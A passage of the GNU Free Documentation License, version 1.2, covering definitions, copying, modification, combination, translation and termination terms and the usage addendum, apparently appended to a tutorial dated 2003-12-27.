them.

The "Invariant Sections" are certain Secondary Sections whose titles
are designated, as being those of Invariant Sections, in the notice
that says that the Document is released under this License. If a
section does not fit the above definition of Secondary then it is not
allowed to be designated as Invariant. The Document may contain zero
Invariant Sections. If the Document does not identify any Invariant
Sections then there are none.

The "Cover Texts" are certain short passages of text that are listed,
as Front-Cover Texts or Back-Cover Texts, in the notice that says that
the Document is released under this License. A Front-Cover Text may
be at most 5 words, and a Back-Cover Text may be at most 25 words.

A "Transparent" copy of the Document means a machine-readable copy,
represented in a format whose specification is available to the
general public, that is suitable for revising the document
straightforwardly with generic text editors or (for images composed of
pixels) generic paint programs or (for drawings) some widely available
drawing editor, and that is suitable for input to text formatters or
for automatic translation to a variety of formats suitable for input
to text formatters. A copy made in an otherwise Transparent file
format whose markup, or absence of markup, has been arranged to thwart
or discourage subsequent modification by readers is not Transparent.
An image format is not Transparent if used for any substantial amount
of text. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain
ASCII without markup, Texinfo input format, LaTeX input format, SGML
or XML using a publicly available DTD, and standard-conforming simple
HTML, PostScript or PDF designed for human modification. Examples of
transparent image formats include PNG, XCF and JPG. Opaque formats
include proprietary formats that can be read and edited only by
proprietary word processors, SGML or XML for which the DTD and/or
processing tools are not generally available, and the
machine-generated HTML, PostScript or PDF produced by some word
processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself,
plus such following pages as are needed to hold, legibly, the material
this License requires to appear in the title page. For works in
formats which do not have any title page as such, "Title Page" means
the text near the most prominent appearance of the work's title,
preceding the beginning of the body of the text.

A section "Entitled XYZ" means a named subunit of the Document whose
title either is precisely XYZ or contains XYZ in parentheses following
text that translates XYZ in another language. (Here XYZ stands for a
specific section name mentioned below, such as "Acknowledgements",
"Dedications", "Endorsements", or "History".) To "Preserve the Title"
of such a section when you modify the Document means that it remains a
section "Entitled XYZ" according to this definition.

The Document may include Warranty Disclaimers next to the notice which
states that this License applies to the Document. These Warranty
Disclaimers are considered to be included by reference in this
License, but only as regards disclaiming warranties: any other
implication that these Warranty Disclaimers may have is void and has
no effect on the meaning of this License.


2. VERBATIM COPYING

You may copy and distribute the Document in any medium, either
commercially or noncommercially, provided that this License, the
copyright notices, and the license notice saying this License applies
to the Document are reproduced in all copies, and that you add no other
conditions whatsoever to those of this License. You may not use
technical measures to obstruct or control the reading or further
copying of the copies you make or distribute. However, you may accept
compensation in exchange for copies. If you distribute a large enough
number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and
you may publicly display copies.


3. COPYING IN QUANTITY

If you publish printed copies (or copies in media that commonly have
printed covers) of the Document, numbering more than 100, and the
Document's license notice requires Cover Texts, you must enclose the
copies in covers that carry, clearly and legibly, all these Cover
Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on
the back cover. Both covers must also clearly and legibly identify
you as the publisher of these copies. The front cover must present
the full title with all words of the title equally prominent and
visible. You may add other material on the covers in addition.
Copying with changes limited to the covers, as long as they preserve
the title of the Document and satisfy these conditions, can be treated
as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit
legibly, you should put the first ones listed (as many as fit
reasonably) on the actual cover, and continue the rest onto adjacent
pages.

If you publish or distribute Opaque copies of the Document numbering
more than 100, you must either include a machine-readable Transparent
copy along with each Opaque copy, or state in or with each Opaque copy
a computer-network location from which the general network-using
public has access to download using public-standard network protocols
a complete Transparent copy of the Document, free of added material.
If you use the latter option, you must take reasonably prudent steps,
when you begin distribution of Opaque copies in quantity, to ensure
that this Transparent copy will remain thus accessible at the stated
location until at least one year after the last time you distribute an
Opaque copy (directly or through your agents or retailers) of that
edition to the public.

It is requested, but not required, that you contact the authors of the
Document well before redistributing any large number of copies, to give
them a chance to provide you with an updated version of the Document.


4. MODIFICATIONS

You may copy and distribute a Modified Version of the Document under
the conditions of sections 2 and 3 above, provided that you release
the Modified Version under precisely this License, with the Modified
Version filling the role of the Document, thus licensing distribution
and modification of the Modified Version to whoever possesses a copy
of it. In addition, you must do these things in the Modified Version:

A. Use in the Title Page (and on the covers, if any) a title distinct
from that of the Document, and from those of previous versions
(which should, if there were any, be listed in the History section
of the Document). You may use the same title as a previous version
if the original publisher of that version gives permission.
B. List on the Title Page, as authors, one or more persons or entities
responsible for authorship of the modifications in the Modified
Version, together with at least five of the principal authors of the
Document (all of its principal authors, if it has fewer than five),
unless they release you from this requirement.
C. State on the Title page the name of the publisher of the
Modified Version, as the publisher.
D. Preserve all the copyright notices of the Document.
E. Add an appropriate copyright notice for your modifications
adjacent to the other copyright notices.
F. Include, immediately after the copyright notices, a license notice
giving the public permission to use the Modified Version under the
terms of this License, in the form shown in the Addendum below.
G. Preserve in that license notice the full lists of Invariant Sections
and required Cover Texts given in the Document's license notice.
H. Include an unaltered copy of this License.
I. Preserve the section Entitled "History", Preserve its Title, and add
to it an item stating at least the title, year, new authors, and
publisher of the Modified Version as given on the Title Page. If
there is no section Entitled "History" in the Document, create one
stating the title, year, authors, and publisher of the Document as
given on its Title Page, then add an item describing the Modified
Version as stated in the previous sentence.
J. Preserve the network location, if any, given in the Document for
public access to a Transparent copy of the Document, and likewise
the network locations given in the Document for previous versions
it was based on. These may be placed in the "History" section.
You may omit a network location for a work that was published at
least four years before the Document itself, or if the original
publisher of the version it refers to gives permission.
K. For any section Entitled "Acknowledgements" or "Dedications",
Preserve the Title of the section, and preserve in the section all
the substance and tone of each of the contributor acknowledgements
and/or dedications given therein.
L. Preserve all the Invariant Sections of the Document,
unaltered in their text and in their titles. Section numbers
or the equivalent are not considered part of the section titles.
M. Delete any section Entitled "Endorsements". Such a section
may not be included in the Modified Version.
N. Do not retitle any existing section to be Entitled "Endorsements"
or to conflict in title with any Invariant Section.
O. Preserve any Warranty Disclaimers.

If the Modified Version includes new front-matter sections or
appendices that qualify as Secondary Sections and contain no material
copied from the Document, you may at your option designate some or all
of these sections as invariant. To do this, add their titles to the
list of Invariant Sections in the Modified Version's license notice.
These titles must be distinct from any other section titles.

You may add a section Entitled "Endorsements", provided it contains
nothing but endorsements of your Modified Version by various
parties--for example, statements of peer review or that the text has
been approved by an organization as the authoritative definition of a
standard.

You may add a passage of up to five words as a Front-Cover Text, and a
passage of up to 25 words as a Back-Cover Text, to the end of the list
of Cover Texts in the Modified Version. Only one passage of
Front-Cover Text and one of Back-Cover Text may be added by (or
through arrangements made by) any one entity. If the Document already
includes a cover text for the same cover, previously added by you or
by arrangement made by the same entity you are acting on behalf of,
you may not add another; but you may replace the old one, on explicit
permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License
give permission to use their names for publicity for or to assert or
imply endorsement of any Modified Version.


5. COMBINING DOCUMENTS

You may combine the Document with other documents released under this
License, under the terms defined in section 4 above for modified
versions, provided that you include in the combination all of the
Invariant Sections of all of the original documents, unmodified, and
list them all as Invariant Sections of your combined work in its
license notice, and that you preserve all their Warranty Disclaimers.

The combined work need only contain one copy of this License, and
multiple identical Invariant Sections may be replaced with a single
copy. If there are multiple Invariant Sections with the same name but
different contents, make the title of each such section unique by
adding at the end of it, in parentheses, the name of the original
author or publisher of that section if known, or else a unique number.
Make the same adjustment to the section titles in the list of
Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections Entitled "History"
in the various original documents, forming one section Entitled
"History"; likewise combine any sections Entitled "Acknowledgements",
and any sections Entitled "Dedications". You must delete all sections
Entitled "Endorsements".


6. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents
released under this License, and replace the individual copies of this
License in the various documents with a single copy that is included in
the collection, provided that you follow the rules of this License for
verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and distribute
it individually under this License, provided you insert a copy of this
License into the extracted document, and follow this License in all
other respects regarding verbatim copying of that document.


7. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate
and independent documents or works, in or on a volume of a storage or
distribution medium, is called an "aggregate" if the copyright
resulting from the compilation is not used to limit the legal rights
of the compilation's users beyond what the individual works permit.
When the Document is included in an aggregate, this License does not
apply to the other works in the aggregate which are not themselves
derivative works of the Document.

If the Cover Text requirement of section 3 is applicable to these
copies of the Document, then if the Document is less than one half of
the entire aggregate, the Document's Cover Texts may be placed on
covers that bracket the Document within the aggregate, or the
electronic equivalent of covers if the Document is in electronic form.
Otherwise they must appear on printed covers that bracket the whole
aggregate.


8. TRANSLATION

Translation is considered a kind of modification, so you may
distribute translations of the Document under the terms of section 4.
Replacing Invariant Sections with translations requires special
permission from their copyright holders, but you may include
translations of some or all Invariant Sections in addition to the
original versions of these Invariant Sections. You may include a
translation of this License, and all the license notices in the
Document, and any Warranty Disclaimers, provided that you also include
the original English version of this License and the original versions
of those notices and disclaimers. In case of a disagreement between
the translation and the original version of this License or a notice
or disclaimer, the original version will prevail.

If a section in the Document is Entitled "Acknowledgements",
"Dedications", or "History", the requirement (section 4) to Preserve
its Title (section 1) will typically require changing the actual
title.


9. TERMINATION

You may not copy, modify, sublicense, or distribute the Document except
as expressly provided for under this License. Any other attempt to
copy, modify, sublicense or distribute the Document is void, and will
automatically terminate your rights under this License. However,
parties who have received copies, or rights, from you under this
License will not have their licenses terminated so long as such
parties remain in full compliance.


10. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions
of the GNU Free Documentation License from time to time. Such new
versions will be similar in spirit to the present version, but may
differ in detail to address new problems or concerns. See
http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number.
If the Document specifies that a particular numbered version of this
License "or any later version" applies to it, you have the option of
following the terms and conditions either of that specified version or
of any later version that has been published (not as a draft) by the
Free Software Foundation. If the Document does not specify a version
number of this License, you may choose any version ever published (not
as a draft) by the Free Software Foundation.


ADDENDUM: How to use this License for your documents

To use this License in a document you have written, include a copy of
the License in the document and put the following copyright and
license notices just after the title page:

Copyright (c) YEAR YOUR NAME.
Permission is granted to copy, distribute and/or modify this document
under the terms of the GNU Free Documentation License, Version 1.2
or any later version published by the Free Software Foundation;
with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts.
A copy of the license is included in the section entitled "GNU
Free Documentation License".

If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts,
replace the "with...Texts." line with this:

with the Invariant Sections being LIST THEIR TITLES, with the
Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.

If you have Invariant Sections without Cover Texts, or some other
combination of the three, merge those two alternatives to suit the
situation.

If your document contains nontrivial examples of program code, we
recommend releasing these examples in parallel under your choice of
free software license, such as the GNU General Public License,
to permit their use in free software.


Tutorial was updated on 2003-12-27
